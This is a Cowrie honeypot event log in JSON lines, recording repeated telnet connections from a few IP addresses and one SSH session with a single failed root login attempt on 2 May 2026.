{"eventid":"cowrie.session.closed","duration":35.98245668411255,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:49.841348Z","src_ip":"174.142.104.49","session":"1eefec19d945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70076084136963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:50.430925Z","src_ip":"174.142.104.49","session":"ae1481975dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"4758ac2fbe4f","protocol":"telnet","message":"New connection: 174.142.104.49:48608 (159.203.135.109:23) [session: 4758ac2fbe4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:50.665800Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58776,"dst_ip":"159.203.135.109","dst_port":23,"session":"7677f19d33a3","protocol":"telnet","message":"New connection: 174.142.104.49:58776 (159.203.135.109:23) [session: 7677f19d33a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:51.273780Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56284,"dst_ip":"159.203.135.109","dst_port":23,"session":"74fa798b433e","protocol":"telnet","message":"New connection: 174.142.104.49:56284 (159.203.135.109:23) [session: 74fa798b433e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:51.465816Z"}
{"eventid":"cowrie.session.closed","duration":31.36470627784729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:52.025474Z","src_ip":"174.142.104.49","session":"46c7f60d841e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99521565437317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:52.088326Z","src_ip":"174.142.104.49","session":"e11d82f50685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57522,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a91558ee7a","protocol":"telnet","message":"New connection: 174.142.104.49:57522 (159.203.135.109:23) [session: 08a91558ee7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:52.233424Z"}
{"eventid":"cowrie.session.closed","duration":31.00061821937561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:52.744558Z","src_ip":"104.245.105.2","session":"489538511795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48912,"dst_ip":"159.203.135.109","dst_port":23,"session":"40d86500728e","protocol":"telnet","message":"New connection: 174.142.104.49:48912 (159.203.135.109:23) [session: 40d86500728e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:53.065690Z"}
{"eventid":"cowrie.session.closed","duration":30.923893690109253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:53.300095Z","src_ip":"174.142.104.49","session":"357fdf1ccd4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33234,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c0eaa97fe7","protocol":"telnet","message":"New connection: 174.142.104.49:33234 (159.203.135.109:23) [session: 52c0eaa97fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:53.715551Z"}
{"eventid":"cowrie.session.closed","duration":31.19770073890686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.375660Z","src_ip":"174.142.104.49","session":"09f379606f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24970316886902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.391484Z","src_ip":"104.245.105.2","session":"9f09b8fd73f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74992322921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.528040Z","src_ip":"174.142.104.49","session":"7e0b77fd3000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34564,"dst_ip":"159.203.135.109","dst_port":23,"session":"80b11d64c17e","protocol":"telnet","message":"New connection: 174.142.104.49:34564 (159.203.135.109:23) [session: 80b11d64c17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.553188Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33218,"dst_ip":"159.203.135.109","dst_port":23,"session":"167e0729c2c2","protocol":"telnet","message":"New connection: 174.142.104.49:33218 (159.203.135.109:23) [session: 167e0729c2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.698139Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33470,"dst_ip":"159.203.135.109","dst_port":23,"session":"767282eebf65","protocol":"telnet","message":"New connection: 174.142.104.49:33470 (159.203.135.109:23) [session: 767282eebf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.875477Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35202,"dst_ip":"159.203.135.109","dst_port":23,"session":"71232362f36c","protocol":"telnet","message":"New connection: 174.142.104.49:35202 (159.203.135.109:23) [session: 71232362f36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:54.999674Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35232,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d63199cb53","protocol":"telnet","message":"New connection: 174.142.104.49:35232 (159.203.135.109:23) [session: 85d63199cb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:55.020024Z"}
{"eventid":"cowrie.session.closed","duration":31.78826403617859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:55.178233Z","src_ip":"174.142.104.49","session":"12343e7de689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35812,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2f50a952f2","protocol":"telnet","message":"New connection: 174.142.104.49:35812 (159.203.135.109:23) [session: 6c2f50a952f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:55.453546Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34514,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c073e8715ae","protocol":"telnet","message":"New connection: 174.142.104.49:34514 (159.203.135.109:23) [session: 5c073e8715ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:55.529077Z"}
{"eventid":"cowrie.session.closed","duration":97.23370218276978,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:55.707300Z","src_ip":"174.142.104.49","session":"6ed12cf82e52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51954,"dst_ip":"159.203.135.109","dst_port":23,"session":"4184bbaeb465","protocol":"telnet","message":"New connection: 174.142.104.49:51954 (159.203.135.109:23) [session: 4184bbaeb465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:55.881700Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34224,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d30fe5f28f4","protocol":"telnet","message":"New connection: 174.142.104.49:34224 (159.203.135.109:23) [session: 8d30fe5f28f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:56.361796Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36716,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3254274060f","protocol":"telnet","message":"New connection: 174.142.104.49:36716 (159.203.135.109:23) [session: d3254274060f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:56.922178Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38774,"dst_ip":"159.203.135.109","dst_port":23,"session":"d288d6d0f553","protocol":"telnet","message":"New connection: 174.142.104.49:38774 (159.203.135.109:23) [session: d288d6d0f553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:57.105591Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35436,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3adca972855","protocol":"telnet","message":"New connection: 174.142.104.49:35436 (159.203.135.109:23) [session: e3adca972855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:57.129558Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37640,"dst_ip":"159.203.135.109","dst_port":23,"session":"cec7481ed5c5","protocol":"telnet","message":"New connection: 174.142.104.49:37640 (159.203.135.109:23) [session: cec7481ed5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:57.488499Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39668,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaddadf76aff","protocol":"telnet","message":"New connection: 174.142.104.49:39668 (159.203.135.109:23) [session: aaddadf76aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:57.629303Z"}
{"eventid":"cowrie.session.closed","duration":31.010520935058594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:57.781913Z","src_ip":"174.142.104.49","session":"86a447c06310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52632,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d26409e90e8","protocol":"telnet","message":"New connection: 161.132.53.68:52632 (159.203.135.109:23) [session: 3d26409e90e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:58.074665Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39804,"dst_ip":"159.203.135.109","dst_port":23,"session":"34967bbe4100","protocol":"telnet","message":"New connection: 174.142.104.49:39804 (159.203.135.109:23) [session: 34967bbe4100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:58.721437Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41434,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f1e4ef532b","protocol":"telnet","message":"New connection: 174.142.104.49:41434 (159.203.135.109:23) [session: 58f1e4ef532b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:58.808755Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41570,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa27ccfc53d6","protocol":"telnet","message":"New connection: 174.142.104.49:41570 (159.203.135.109:23) [session: fa27ccfc53d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:58.896855Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40708,"dst_ip":"159.203.135.109","dst_port":23,"session":"544825f4d8b6","protocol":"telnet","message":"New connection: 174.142.104.49:40708 (159.203.135.109:23) [session: 544825f4d8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:59.330065Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52640,"dst_ip":"159.203.135.109","dst_port":23,"session":"15381f708be9","protocol":"telnet","message":"New connection: 161.132.53.68:52640 (159.203.135.109:23) [session: 15381f708be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:59.857608Z"}
{"eventid":"cowrie.session.closed","duration":31.160617113113403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:59.998728Z","src_ip":"174.142.104.49","session":"2caca0f9e860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42050,"dst_ip":"159.203.135.109","dst_port":23,"session":"af63d6d3127a","protocol":"telnet","message":"New connection: 174.142.104.49:42050 (159.203.135.109:23) [session: af63d6d3127a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:00.201873Z"}
{"eventid":"cowrie.session.closed","duration":31.100141525268555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:00.790363Z","src_ip":"174.142.104.49","session":"3619d3d8ce07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43128,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a36fed4645","protocol":"telnet","message":"New connection: 174.142.104.49:43128 (159.203.135.109:23) [session: b8a36fed4645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:00.970047Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45562,"dst_ip":"159.203.135.109","dst_port":23,"session":"1741f4aa1490","protocol":"telnet","message":"New connection: 174.142.104.49:45562 (159.203.135.109:23) [session: 1741f4aa1490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:01.478528Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44066,"dst_ip":"159.203.135.109","dst_port":23,"session":"243cce0be2b7","protocol":"telnet","message":"New connection: 174.142.104.49:44066 (159.203.135.109:23) [session: 243cce0be2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:01.513759Z"}
{"eventid":"cowrie.session.closed","duration":31.32586932182312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:01.560259Z","src_ip":"174.142.104.49","session":"6b65195323a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901788473129272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:01.599936Z","src_ip":"174.142.104.49","session":"68ae3ef245b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49928903579712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:02.457469Z","src_ip":"174.142.104.49","session":"7b27159434b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47892,"dst_ip":"159.203.135.109","dst_port":23,"session":"277392a425e5","protocol":"telnet","message":"New connection: 174.142.104.49:47892 (159.203.135.109:23) [session: 277392a425e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:02.867676Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43716,"dst_ip":"159.203.135.109","dst_port":23,"session":"7925c1490468","protocol":"telnet","message":"New connection: 174.142.104.49:43716 (159.203.135.109:23) [session: 7925c1490468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:03.286005Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47200,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc742e6ca2b9","protocol":"telnet","message":"New connection: 174.142.104.49:47200 (159.203.135.109:23) [session: fc742e6ca2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:03.475307Z"}
{"eventid":"cowrie.session.closed","duration":31.480611324310303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:03.714604Z","src_ip":"174.142.104.49","session":"72846bb2583a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014391899108887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:03.750062Z","src_ip":"174.142.104.49","session":"22d94f7c1d31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51906,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f4643926c1","protocol":"telnet","message":"New connection: 174.142.104.49:51906 (159.203.135.109:23) [session: a1f4643926c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:05.369311Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50522,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a4ebce65566","protocol":"telnet","message":"New connection: 174.142.104.49:50522 (159.203.135.109:23) [session: 7a4ebce65566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:05.664389Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"384b46d5a881","protocol":"telnet","message":"New connection: 174.142.104.49:52720 (159.203.135.109:23) [session: 384b46d5a881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:05.852241Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52884,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d16c80f1402","protocol":"telnet","message":"New connection: 174.142.104.49:52884 (159.203.135.109:23) [session: 3d16c80f1402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:05.940036Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40196,"dst_ip":"159.203.135.109","dst_port":23,"session":"509078b9f683","protocol":"telnet","message":"New connection: 174.142.104.49:40196 (159.203.135.109:23) [session: 509078b9f683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:06.121827Z"}
{"eventid":"cowrie.session.closed","duration":31.711467266082764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:06.894319Z","src_ip":"174.142.104.49","session":"5993c4222c32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a2ac2f0add","protocol":"telnet","message":"New connection: 174.142.104.49:54604 (159.203.135.109:23) [session: b7a2ac2f0add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:06.990862Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53166,"dst_ip":"159.203.135.109","dst_port":23,"session":"80286a77be1d","protocol":"telnet","message":"New connection: 174.142.104.49:53166 (159.203.135.109:23) [session: 80286a77be1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:07.094600Z"}
{"eventid":"cowrie.session.closed","duration":30.758347749710083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:07.180820Z","src_ip":"161.132.53.68","session":"c599b559b78f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570653676986694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:07.393663Z","src_ip":"174.142.104.49","session":"0c4730b6bfb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55550,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d3ce602b487","protocol":"telnet","message":"New connection: 174.142.104.49:55550 (159.203.135.109:23) [session: 2d3ce602b487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:07.518567Z"}
{"eventid":"cowrie.session.closed","duration":31.92700958251953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:08.159031Z","src_ip":"174.142.104.49","session":"e23f9259ded9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55332,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0bf75ebbfd6","protocol":"telnet","message":"New connection: 174.142.104.49:55332 (159.203.135.109:23) [session: e0bf75ebbfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:08.381942Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":48734,"dst_ip":"159.203.135.109","dst_port":22,"session":"89ddfefc4894","protocol":"ssh","message":"New connection: 165.154.6.69:48734 (159.203.135.109:22) [session: 89ddfefc4894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:08.805043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:08.810625Z","src_ip":"165.154.6.69","session":"89ddfefc4894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34764,"dst_ip":"159.203.135.109","dst_port":23,"session":"145014dd7009","protocol":"telnet","message":"New connection: 174.142.104.49:34764 (159.203.135.109:23) [session: 145014dd7009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.008068Z"}
{"eventid":"cowrie.session.closed","duration":0.007225513458251953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.015151Z","src_ip":"174.142.104.49","session":"145014dd7009","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.028283Z","src_ip":"165.154.6.69","session":"89ddfefc4894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58488,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb7738ca056","protocol":"telnet","message":"New connection: 174.142.104.49:58488 (159.203.135.109:23) [session: bdb7738ca056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.430638Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58642,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcedcbf650ab","protocol":"telnet","message":"New connection: 174.142.104.49:58642 (159.203.135.109:23) [session: fcedcbf650ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.531776Z"}
{"eventid":"cowrie.session.closed","duration":55.708311796188354,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.893680Z","src_ip":"174.142.104.49","session":"76bb52d5cc2e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"darwin","message":"login attempt [root/darwin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:09.931845Z","src_ip":"165.154.6.69","session":"89ddfefc4894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95021414756775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:10.192030Z","src_ip":"174.142.104.49","session":"219c8c010857","protocol":"telnet"}
